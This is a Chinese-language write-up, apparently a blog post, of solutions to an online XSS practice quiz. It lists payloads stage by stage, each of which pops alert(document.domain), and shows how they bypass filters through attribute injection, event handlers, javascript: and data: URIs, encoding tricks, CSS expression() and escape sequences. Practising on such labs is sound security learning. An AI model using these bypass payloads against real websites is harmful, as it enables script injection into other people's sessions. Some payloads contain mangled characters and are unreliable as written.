【应用安全——XSS】Challenges解题记录

地址:http://xss-quiz.int21h.jp/
1)

"</b><img/src=x onerror=alert(document.domain)><b>"

2)

123456" onfocus=alert(document.domain) autofocus xx="

3)
参数p1转义了<、>、”,修改参数p2

Japan</b><script>alert(document.domain)</script><b>

4)

修改参数p3

hackme"><script>alert(document.domain)</script>//

5)

前端做了长度限制,截包修改p1

"><script>alert(document.domain)</script>//

6)

转义了<、> 没有转义”

123456" onfocus=alert(document.domain) autofocus xx="

7)转义了<、>、”
刷入123456发现value值没有双引号包裹。源码如下:
<input type=”text” name=”p1″ size=”50″ value=123456>
可以通过添加一个新的元素

a onmouseover=alert(document.domain)

输出的源码如下:

<input type="text" name="p1" size="50" value=a onmouseover=alert(document.domain)>

8)查看输出在<a href=”{injecthere}”>中

javascript:alert(document.domain)

9)首先注意到输出的源码中有charset项,很明显是通过编码格式绕过过滤。
CSDN上有UTF-7的编解码工具” οnmοusemοve=”alert(document.domain)

10)
输入123456″><script>alert(document.domain)</script>
输出如下:
<input type=”text” name=”p1″ size=”50″ value=”123456″><script>alert(document.)</script>”>
可以看到是过滤了domain

a)
然后输入123456"><script>alert(document.domdomainain)</script>即可
b)使用String.fromCharCode
"><script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 109, 97, 105, 110, 41))</script>
c)javascript 使用btoa和atob来进行Base64转码和解码
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

11)
测试123456″><script>alert(1)</script>
发现script被替换为xscript
测试123456″><img src=x οnerrοr=alert(1)>
发现JS事件被替换为onxxx
测试123456″><iframe src=javascript:alert(1)>
发现javascript被替换为javaxscript
这里想到了使用data协议

"><iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+'></iframe>

12)过滤的正则”s/[\x00-\x20\<\>\”\’]//g;”
单引号 双引号 尖括号都过滤了

`` onmouseover=alert(document.domain)

这个必须是在IE下才能触发。

13)这个是CSS中的XSS,输出环境是在style中

xss:expression(alert(document.domain))
background-image:url(javascript:alert(document.domain))

14)s/(url|script|eval|expression)/xxx/ig;
expression的绕过方式很多

<div style="xss:expre/**/ssion(alert(1))">样式表中的/**/会被忽略
<div style="xss:expre\ssion(alert(1))">样式表中的\
<div style="xss:\65xpression(alert(1))">

15)
输入<script>alert(1)</script>可以看到尖括号被转义了,因为输出环境是在JS中,所以可以使用16进制编码
\x3cscript\x3ealert(document.domain)\x3c/script\x3e
发现过滤了\,然后将\替换为\\即可。

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

16) “s/\\x/\\\\x/ig;”
这道题只是替换了\x

\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值